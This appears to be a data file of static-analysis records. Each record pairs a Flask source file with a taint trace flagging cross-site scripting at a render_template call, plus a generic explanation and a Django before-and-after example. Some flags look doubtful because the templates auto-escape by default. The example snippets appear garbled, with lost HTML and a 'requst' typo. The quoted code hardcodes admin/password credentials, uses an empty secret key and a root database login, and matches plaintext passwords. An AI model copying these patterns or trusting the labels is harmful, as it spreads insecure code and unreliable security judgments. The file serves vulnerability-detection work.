{"id": "f688ddcd61592c36666e4c7b3d31a17df67f441d2c058324ad43f3d7061a806d", "license": {"spdx": ["MIT"], "repo": "varshithrajbasa/RetailBanking", "path": "app.py", "repo_head_hexsha": "ea324d19e1298f57bcac8a7fd828d3e135dfebb8", "stack_hexsha": "db8708450aed8f19ad8998af275a17220f891bdc", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 270, "entireCode": "from flask import Flask, render_template, request,redirect, url_for,session\nfrom flask_mysqldb import MySQL \n\napp = Flask(__name__)\napp.secret_key = \"\"\napp.config['MYSQL_HOST'] = 'localhost'\napp.config['MYSQL_USER'] = 'root'\napp.config['MYSQL_PASSWORD'] = ''\napp.config['MYSQL_DB'] = 'retailbanking'\nmysql = MySQL(app)\n\n@app.route('/', methods=['post', 'get'])\ndef login():\n    message = ''\n    if request.method == 'POST':\n        username = request.form.get('uname')  # access the data inside \n        password = request.form.get('password')\n        cur = mysql.connection.cursor()\n        cur.execute('SELECT * FROM userstore WHERE login = %s AND password = %s', (username, password,))\n        results = cur.fetchall()\n        if results:\n            session['username'] = username\n            return redirect(url_for('create_customer'))\n        else:\n            message = \"Wrong username or password\"\n        mysql.connection.commit()\n        cur.close()\n \n    return render_template('login.html', message=message)\n\n@app.route('/create_customer', methods=['post', 'get'])\ndef create_customer():\n    \n    if session=={}:\n        return redirect(url_for('login'))\n    message=\"\"\n    if request.method == 'POST':\n        ssn_id=int(request.form.get('ssn-id'))\n        cust_id=int(request.form.get('cust-id'))\n        cname=request.form.get('cname')\n        c_age=int(request.form.get('cage'))\n        address=request.form.get('address')\n        city=request.form.get('secondlist')\n        state=request.form.get('listBox')\n        if(mysql):\n            cursor= mysql.connection.cursor()\n            #cursor.execute(\"select * from customer\")\n            cursor.execute('''INSERT INTO customer(ws_ssn, ws_cust_id, ws_name, ws_age, ws_adrs, city, state) values(%s, %s, %s, %s, %s, %s, %s)''',(ssn_id,cust_id,cname,c_age,address,city,state))\n            mysql.connection.commit()\n            message=\"Done\"\n        else:\n            message = \"Error\"\n    return render_template('create_customer.html',message=message)\n\n@app.route('/view_customer')\ndef users():\n    \n    if session=={}:\n        return redirect(url_for('login'))\n    cur = mysql.connection.cursor()\n    resultValue = cur.execute(\"SELECT * FROM customer\")\n    if resultValue > 0:\n        userDetails = cur.fetchall()\n        return render_template('view_customer.html',userDetails=userDetails)\n\n@app.route('/update_customer',methods=['post', 'get'])\ndef update_customer():\n    \n    if session=={}:\n        return redirect(url_for('login'))\n    id=int(request.form.get('id'))\n    cur = mysql.connection.cursor()\n    resultValue = cur.execute(\"select * from customer where ws_ssn = %s\",(id,))\n    if resultValue > 0:\n        userDetails = cur.fetchall()\n        return render_template('update_customer.html',userDetails=userDetails)\n\n@app.route('/update',methods=['post', 'get'])\ndef update():\n    \n    if session=={}:\n        return redirect(url_for('login'))\n    id=int(request.form.get('id'))\n    cname=request.form.get('cname')\n    address=request.form.get('address')\n    c_age=int(request.form.get('cage'))\n    cur = mysql.connection.cursor()\n    cur.execute('''UPDATE  customer Set ws_age= %s ,ws_adrs= %s,ws_name= %s where ws_ssn= %s''',(c_age,address,cname,id))\n    mysql.connection.commit()\n    return redirect(url_for('users'))\n\n@app.route('/view_customer2')\ndef users1():\n    \n    if session=={}:\n        return redirect(url_for('login'))\n    cur = mysql.connection.cursor()\n    resultValue = cur.execute(\"SELECT * FROM customer\")\n    if resultValue > 0:\n        userDetails = cur.fetchall()\n        return render_template('view_customer2.html',userDetails=userDetails)\n\n@app.route('/delete_customer',methods=['post', 'get'])\ndef delete_customer():\n    \n    if session=={}:\n        return redirect(url_for('login'))\n    id=int(request.form.get('id'))\n    cur = mysql.connection.cursor()\n    resultValue = cur.execute(\"select * from customer where ws_ssn = %s\",(id,))\n    if resultValue > 0:\n        userDetails = cur.fetchall()\n        return render_template('delete_customer.html',userDetails=userDetails)\n\n@app.route('/delete',methods=['post', 'get'])\ndef delete():\n    \n    if session=={}:\n        return redirect(url_for('login'))\n    id=int(request.form.get('id'))\n    cur = mysql.connection.cursor()\n    cur.execute('''delete from customer  where ws_ssn= %s''',(id,))\n    mysql.connection.commit()\n    return redirect(url_for('users'))\n\n#For accounts\n@app.route('/create_a')\ndef create_a():\n    \n    if session=={}:\n        return redirect(url_for('login'))\n    return render_template('create_account.html')\n@app.route('/create_account', methods=['post', 'get'])\ndef create_account():\n    \n    if session=={}:\n        return redirect(url_for('login'))\n    message=\"\"\n    id=int(request.form.get('cust-id'))\n    a_type=request.form.get('account_type')\n    print(a_type)\n    balance=request.form.get('deposit_amount')\n    today = date.today()\n    cur = mysql.connection.cursor()\n    cur.execute('''select * from customer where ws_cust_id= %s''',(id,))\n    result_value=cur.fetchall()\n    if result_value:\n        account_id=result_value[0][0]\n        cur.execute('''INSERT INTO `retailbanking`.`account` (`ws_cust_id` ,`ws_acct_id` ,`ws_acct_type` ,`ws_acct_balance` ,`ws_acct_crdate` ) VALUES (%s, %s, %s, %s, %s)''',(id,account_id,a_type,balance,today,))\n        mysql.connection.commit()\n        message=\"Account created\"\n    return render_template('create_account.html',message=message)\n\n@app.route('/delete_account')\ndef delete_account():\n    \n    if session=={}:\n        return redirect(url_for('login'))\n    cur = mysql.connection.cursor()\n    resultValue = cur.execute(\"SELECT * FROM account\")\n    if resultValue > 0:\n        userDetails = cur.fetchall()\n    return render_template('delete_account.html',accountDetails=userDetails)\n\n@app.route('/delete_a', methods=['post', 'get'])\ndef delete_a():\n    \n    if session=={}:\n        return redirect(url_for('login'))\n    account_id=int(request.form.get('account_id'))\n    account_type=request.form.get('account_type')\n    cur = mysql.connection.cursor()\n    cur.execute('''select * from account where ws_acct_type= %s && ws_acct_id= %s''',(account_type,account_id,))\n    result_value=cur.fetchall()\n    print(result_value)\n    if result_value:\n        cur.execute('''delete from account where ws_acct_id= %s''',(account_id,))\n        mysql.connection.commit()\n    return redirect(url_for('delete_account'))\n    \n#For Cashier\n@app.route('/account_details')\ndef account_details():\n    \n    if session=={}:\n        return redirect(url_for('login'))\n    return render_template('account_details.html')\n\n@app.route('/account_details')\ndef account_details():\n    \n    if session=={}:\n        return redirect(url_for('login'))\n    cur = mysql.connection.cursor()\n    resultValue = cur.execute(\"SELECT * FROM account\")\n    if resultValue > 0:\n        userDetails = cur.fetchall()\n        return render_template('account_holders.html',userDetails=userDetails)\n\n@app.route('/deposit_amount', methods=['post', 'get'])\ndef deposit_amount():\n    if session=={}:\n        return redirect(url_for('login'))\n    id=request.form.get('id')\n    print(id)\n    cur = mysql.connection.cursor()\n    resultValue = cur.execute(\"select * from account where ws_cust_id = %s\",(id,))\n    if resultValue > 0:\n        users = cur.fetchall()\n    return render_template('deposit_money.html',user=users)\n\n@app.route('/deposit',methods=['post','get'])\ndef deposit():\n    if session=={}:\n        return redirect(url_for('login'))\n    message=\"\"\n    id=int(request.form.get('id'))\n    amount=int(request.form.get('deposit'))\n    cur = mysql.connection.cursor()\n    cur.execute(\"update account set ws_acct_balance=ws_acct_balance+cast(%s as decimal(16,2)) where ws_cust_id= %s\",(amount,id,))\n    mysql.connection.commit()\n    resultValue = cur.execute(\"select * from account where ws_cust_id = %s\",(id,))\n    if resultValue > 0:\n        userDetails = cur.fetchall()\n        message=\"Amount deposited successfully\"\n    today = date.today()\n    a_type=userDetails[0][2]\n    balance=int(request.form.get('deposit'))\n    cur.execute('''INSERT INTO `retailbanking`.`transactions` (`ws_cust_id` ,`ws_accnt_type` ,`ws_amt` ,`ws_trxn_date` ,`ws_src_typ` ,`ws_tgt_typ`)VALUES (%s, %s, %s, %s , %s , %s);''',(id,a_type,balance,today,a_type,a_type))\n    mysql.connection.commit()\n    return render_template('deposit_money.html',user=userDetails,message=message)\n\n#for transfer\n@app.route(\"/transfer\", methods=['post', 'get'])\ndef transfer():\n    if session=={}:\n        return redirect(url_for('login'))\n    return render_template(\"transfer_money.html\")\n@app.route(\"/transfer_amount\", methods=['post', 'get'])\n\ndef transfer_amount():\n    if session=={}:\n        return redirect(url_for('login'))\n    cust_id=int(request.form.get('id'))\n    print(cust_id)\n    tran_id=int(request.form.get('transfer_id'))\n    amount=int(request.form.get('transfer'))\n    cur = mysql.connection.cursor()\n    result=cur.execute('''select * from account where ws_cust_id= %s''',(cust_id,))\n    cust=cur.fetchall()\n    result1=cur.execute('''select * from account where ws_cust_id= %s''',(tran_id,))\n    trans=cur.fetchall()\n    today = date.today()\n    if result > 0:\n        if result1 > 0:\n            cust_after=cust[0][3]-amount\n            print(trans)\n            trans_after=trans[0][3]+amount\n            cur.execute('''update account set ws_acct_balance=%s where ws_cust_id=%s''',(cust_after,cust_id,))\n            mysql.connection.commit()\n            cur.execute('''update account set ws_acct_balance=%s where ws_cust_id=%s''',(trans_after,tran_id,))\n            mysql.connection.commit()\n            type1=cust[0][2]\n            cur.execute('''INSERT INTO `retailbanking`.`transactions` (`ws_cust_id` ,`ws_accnt_type` ,`ws_amt` ,`ws_trxn_date` ,`ws_src_typ` ,`ws_tgt_typ`)VALUES (%s, %s, %s, %s , %s , %s);''',(cust_id,type1,amount,today,type1,type1))\n            mysql.connection.commit()\n            type2=trans[0][2]\n            cur.execute('''INSERT INTO `retailbanking`.`transactions` (`ws_cust_id` ,`ws_accnt_type` ,`ws_amt` ,`ws_trxn_date` ,`ws_src_typ` ,`ws_tgt_typ`)VALUES (%s, %s, %s, %s , %s , %s);''',(tran_id,type2,amount,today,type2,type2))\n            mysql.connection.commit()\n            message=\"Amount transfer completed successfully\"\n            return render_template('transfer_Details.html',message=message,cust=cust,trans=trans,cust_after=cust_after,trans_after=trans_after)\n        else:\n            message=\"Enter correct Target ID\"\n    else:\n        message=\"Enter correct Customer ID\"\n    return render_template(\"transfer_money.html\",message=message)\n\n#for logout\n@app.route('/logout',methods=['post','get'])\ndef logout():\n    if session=={}:\n        return redirect(url_for('login'))\n    session.pop('username', None)\n    print(session)\n    return redirect(url_for('login'))\n\n#for customer search\n@app.route('/csearch',methods=['post','get'])\ndef csearch():\n    return render_template('customer_search.html')\n\n@app.route('/customersearch',methods=['post','get'])\ndef customersearch():\n    cust_id=request.form.get('cust-id')\n    ssn_id=request.form.get('ssn-id')\n    cur = mysql.connection.cursor()\n    result=cur.execute('''select * from customer where ws_cust_id= %s or ws_ssn=%s''',(cust_id,ssn_id))\n    if result>0:\n        sample=cur.fetchall()\n        return render_template('customer_detail.html',sample=sample)   ", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 247, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 247, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 247, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 247, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "int"}}, {"lineNo": 247, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 252, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 255, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "255"}}, {"lineNo": 258, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 270, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "b5b4955709fe7dada48d231de558a88281dae18a6ac57ac5527525f6de0ba23f", "license": {"spdx": ["MIT"], "repo": "Louis-Saglio/football-python-flask-app", "path": "app/views.py", "repo_head_hexsha": "fb07c7acfde9b81aa8d1d32f674432a233849070", "stack_hexsha": "dbbe4ebe26c7389a821321e4aa168d00f6d67e1e", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 22, "entireCode": "from flask import render_template, request\nimport pandas as pd\nimport json\n\nfrom .model import model, Game\nfrom .component import IndexForm\nfrom .data import countries\n\nfrom app import app\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n    form = IndexForm()\n    form.init_choice(countries.index.values)\n\n    if request.method == 'POST':\n        teams = request.form.to_dict()\n        if form.validate():\n            game = Game(model, team_1=teams['team'], team_2=teams['opponent'])\n            game.compute_result()\n            return render_template(\"index.html\", teams=countries, form=form, game=game)\n\n    return render_template(\"index.html\", teams=countries, form=form)\n\n\n@app.route('/game/', methods=['GET', 'POST'])\ndef game(game):\n    try:\n        team, opponent = game.split('_')[0:2]\n        if team not in countries.index or opponent not in countries.index:\n            raise Exception('Not a valid country')\n    except:\n        return render_template(\"404.html\")\n\n    game = Game(model, team_1=team, team_2=opponent)\n    game.compute_result()\n\n    return render_template(\"game.html\", game=game, teams=countries)\n\n@app.errorhandler(404) \ndef not_found(e): \n  return render_template(\"404.html\") ", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 18, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 18, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 18, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "to_dict"}}, {"lineNo": 19, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "19"}}, {"lineNo": 20, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "teamsindex.teams[\"team\"]"}}, {"lineNo": 20, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "Game"}}, {"lineNo": 20, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "teamsindex.teams[\"opponent\"]"}}, {"lineNo": 20, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 22, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "94d7f3e13d2e6f094b84249e445f94f49a7f912129a5446d9a5f73deb02fb398", "license": {"spdx": ["Apache-2.0"], "repo": "guidow/pyfarm-master", "path": "pyfarm/master/initial.py", "repo_head_hexsha": "d41c8f1eb5bfefb8400d400bcecadf197bcfb80a", "stack_hexsha": "c7e8b4e8fa2616d57ff63dd26a383aa23977302f", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 57, "entireCode": "# No shebang line, this module is meant to be imported\n#\n# Copyright 2013 \n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#    http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\nInitial Setup\n=============\n\nEntry points for the /setup/ target\n\"\"\"\n\nfrom wtforms import Form, TextField, PasswordField, ValidationError\nfrom wtforms.validators import Required\nfrom flask import render_template, request\n\nfrom pyfarm.models.user import User, Role\nfrom pyfarm.master.application import db\n\n\nclass NewUserForm(Form):\n    username = TextField(validators=[Required()])\n    email = TextField(validators=[Required()])\n    password = PasswordField(validators=[Required()])\n\n    def validate_username(self, field):\n        user = User.get(request.form[\"username\"])\n        if user is not None:\n            raise ValidationError(\n                \"%s already exists\" % request.form[\"username\"])\n\n\ndef setup_page():\n    form = NewUserForm(request.form)\n\n    if request.method == \"GET\":\n        # create the admin role if it does not exist and\n        # find any existing administrators\n        admin_role = Role.query.filter_by(name=\"admin\").first()\n        if admin_role is None:\n            admin_role = Role.create(\"admin\")\n            admin_users = []\n        else:\n            admin_users = admin_role.users\n\n        return render_template(\n            \"pyfarm/setup.html\", form=form,\n            admin_role=admin_role, admin_users=admin_users)\n\n    elif request.method == \"POST\":\n        if form.validate():\n            # make sure we're still the only admin\n            admin_role = Role.query.filter_by(name=\"admin\").first()\n\n            if admin_role and admin_role.users.first():\n                return render_template(\n                    \"pyfarm/setup.html\",\n                    error=\"someone else created an administrator\")\n\n            user = User.create(\n                request.form[\"username\"],\n                request.form[\"password\"],\n                email=request.form[\"email\"])\n            user.roles.append(Role.create(\"admin\"))\n            db.session.add(user)\n            db.session.commit()\n\n            return render_template(\n                \"pyfarm/setup.html\", finished=True, redirect_seconds=5)\n\n        return render_template(\"pyfarm/setup.html\", form=form)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 45, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 45, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 45, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "NewUserForm"}}, {"lineNo": 45, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "NewUserForm"}}, {"lineNo": 45, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 45, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "NewUserForm"}}, {"lineNo": 47, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "49"}}, {"lineNo": 57, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "557d8012581cc06a60b631cc2ac488be8515904a083fe6597e95a34db469fb2d", "license": {"spdx": ["MIT"], "repo": "chyidl/chyidlTutorial", "path": "root/os/DSAA/DataStructuresAndAlgorithms/python/chutils/chutils/chweb/flask_app.py", "repo_head_hexsha": "a033e0a57abf84fdbb61e57736822f9126db6ff7", "stack_hexsha": "464b332a1ed50e0918c134ba7910ce1ce63d2897", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 50, "entireCode": "#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# flask_app.py\n# chweb\n#\n# 🎂\"Here's to the crazy ones. The misfits. The rebels.\n# The troublemakers. The round pegs in the square holes.\n# The ones who see things differently. They're not found\n# of rules. And they have no respect for the status quo.\n# You can quote them, disagree with them, glority or vilify\n# them. About the only thing you can't do is ignore them.\n# Because they change things. They push the human race forward.\n# And while some may see them as the creazy ones, we see genius.\n# Because the poeple who are crazy enough to think thay can change\n# the world, are the ones who do.\"\n#\n# Created by  on 03/07/19 17:30.\n# Copyright © 2019. .\n# All rights reserved.\n#\n# Distributed under terms of the\n# MIT\n\n\"\"\"\nFlask编写Web App比WSGI接口简单\n\"\"\"\nfrom flask import Flask\nfrom flask import request, render_template\n\n\napp = Flask(__name__)\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n    return render_template('index.html')\n\n\n@app.route('/signin', methods=['GET'])\ndef signin_form():\n    return render_template('form.html')\n\n\n@app.route('/signin', methods=['POST'])\ndef signin():\n    username = request.form['username']\n    password = request.form['password']\n    if username == 'admin' and password == 'password':\n        return render_template('signin_ok.html', username=username)\n    return render_template(\n            'form.html', message='Bad username or password', username=username)\n\n\nif __name__ == '__main__':\n    app.run()", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 47, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 47, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 47, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form[\"username\"]"}}, {"lineNo": 47, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 49, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "49"}}, {"lineNo": 50, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "6ee8106fbecf31b07cb475a3e8dac1c0a3e83030e9c3205d563078e1037b7f17", "license": {"spdx": ["Apache-2.0"], "repo": "Daniel-Sanche/functions-framework-python", "path": "tests/test_functions/http_flask_render_template/main.py", "repo_head_hexsha": "eb6761e0ab77ca4526370b72dd5c285fb681930b", "stack_hexsha": "58e402317e1ba80d48a905df4909311f00739e7f", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 43, "entireCode": "# Copyright 2020 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Function used in Worker tests of handling HTTP functions.\"\"\"\n\nfrom flask import render_template\n\n\ndef function(request):\n    \"\"\"Test HTTP function whose behavior depends on the given mode.\n\n    The function returns a success, a failure, or throws an exception, depending\n    on the given mode.\n\n    Args:\n      request: The HTTP request which triggered this function. Must contain name\n        of the requested mode in the 'mode' field in JSON document in request\n        body.\n\n    Returns:\n      Value and status code defined for the given mode.\n\n    Raises:\n      Exception: Thrown when requested in the incoming mode specification.\n    \"\"\"\n    if request.args and \"message\" in request.args:\n        message = request.args.get(\"message\")\n    elif request.get_json() and \"message\" in request.get_json():\n        message = request.get_json()[\"message\"]\n    else:\n        message = \"Hello World!\"\n    return render_template(\"hello.html\", name=message)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.args"}}, {"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 43, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
